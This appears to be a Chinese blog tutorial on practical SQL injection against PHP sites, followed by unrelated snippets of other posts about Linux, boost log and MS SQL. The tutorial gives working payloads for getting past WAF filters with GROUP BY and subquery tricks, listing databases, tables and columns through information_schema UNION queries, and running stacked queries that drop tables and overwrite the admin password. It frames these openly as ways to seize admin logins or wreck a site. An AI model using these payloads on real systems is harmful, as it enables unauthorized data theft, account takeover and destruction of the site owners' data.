SQL注入中基礎的幾個問題及解決方法

2021-12-29 20:33:49 字數 1968 閱讀 9557

以 php 為例

引發 sql 注入失敗最主要的原因是什麼主要就是 waf 和手工保護**,waf 用於攔截惡意**,但是 waf 很好繞過,規則是死的,人是活的。waf 部署在伺服器端,根據預先定義的規則對 http 請求進行過濾,繼而攔截一些通用的必然 xss 和 sql 攻擊。

order by  語句被攔截?

這個情況很少發生,,但是有時候 waf 由於某些原因會攔截,不過,我們可以繞過,方法很簡單,用 group by 就可以了。因為不再 waf 的規則列表裡

比如下面這樣提示 403 forbidden

order by 100--可以嘗試一下 group by

group by 100--  成功

但是,有可能這個還會被攔截。所以我們使用一條流傳不那麼廣泛的乙個語句。那就是

(主查詢語句)=(select 1)

and (select * from admins)=(select 1)

可能會返回乙個錯誤,類似 operand should contain 5 column(s).

這樣我們就知道有 5 列了。

然後 union select  就懂了。。

union select 1,2,3,4,5--order by 10000 了仍然沒有報錯?

這裡講一下有時候 order by  可以用,但是到 10000 了還是不報錯,與上一節不同的是,上

一節是請求被 waf 攔截,這裡呢,則是因為注入語句有點不同,當我第一次遇到的時候,

我天真的以為資料庫表裡真的有 10000 列。答案很簡單,order by 1000000 還是不報錯,是

因為我們的注入語句沒有執行。

order by 10000000000--  不報錯

我們稍微改變一下 url ,在 id 後面加乙個單引號,並且在最後加乙個加號。

' order by 10000000--+    報錯

然後開始使用 union 查詢就行了,方法一樣。

' union select 1,2,3,4,5,6,7,8--+

從其他資料庫裡獲取資料

有時候我們注入成功了,但是讀出來的表都是些新聞啊,相簿啊,文章啊,之類的,我們要

找的可是管理,登入表啊。這時候我們就需要看一下是不是還有其他的資料庫。

首先獲取所有的資料庫名:

union select 1,2,group_concat(schema_name),4 from information_schema.schemata

然後獲得指定資料庫的表:

union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (這裡填寫資料庫 hex 編碼)

然後獲取所有列:

union select 1,2,group_concat(column_name),4 from information_schema.tables

where table_schema=(這裡填寫資料庫 hex 編碼) and table_name=(這裡填寫表名的 hex 編碼)

通過 sql 注入可以修改資料庫裡的資訊嗎?

sql 可以查詢,更新,插入資訊,所以,查詢資訊只是其中的乙個功能,有時候無法破解

管理員帳號的 md5 值。那麼為什麼不自己加乙個呢..insert 插入語句就可以,如果找不到

後台,**一點,乾脆直接 drop 掉整個表,這樣,管理員也登陸不上了。**也壞了。還

可以通過 update 更新語句來修改管理員密碼,

假設這裡存在注入。

我們通過 union  獲取了一些表名,比如有個 news,那麼我們通過下面這個語句刪除 news

表。; drop table news

; update 'admin_login' set 'password' = '你自己的 md5' where login_name='admin'--

Linux中的幾個問題

明天期末考試,就把往年試卷上的敘述題總結一下 1.如果乙個設定使用者id程式未執行任何改變程序的實際使用者id和有效使用者id的系統呼叫,那麼執行該程式的程序,它的實際使用者id和有效使用者id各是什麼?答 實際使用者id在登入時取自口令檔案中的登入項,如果沒有執行任何改變實際使用者id和有效使用者...

boost log 中的幾個問題

boost 日誌示例中有乙個錯誤 下面這個檔案 應該在開頭加一行 include 否則會出下列錯錯誤 error c2027 使用了未定義型別 boost log v2s mt nt5 expressions aux date time formatter generator traits d li...

MS SQL中的幾個問題

1,儲存過程中用到的 n 的意義.n的作用就是如果你的作業系統是簡體中文,你在n後面的單引號裡輸入了日本 德文 法文什麼的,能保證你的字串是正確的,這時n就要必寫 反之如果n後面的單引號裡只有英文和簡體中文 長度不能超過十幾k 那這個n寫與不寫是一樣的。上面的解釋和你所看到是同乙個意思,簡單的可以認...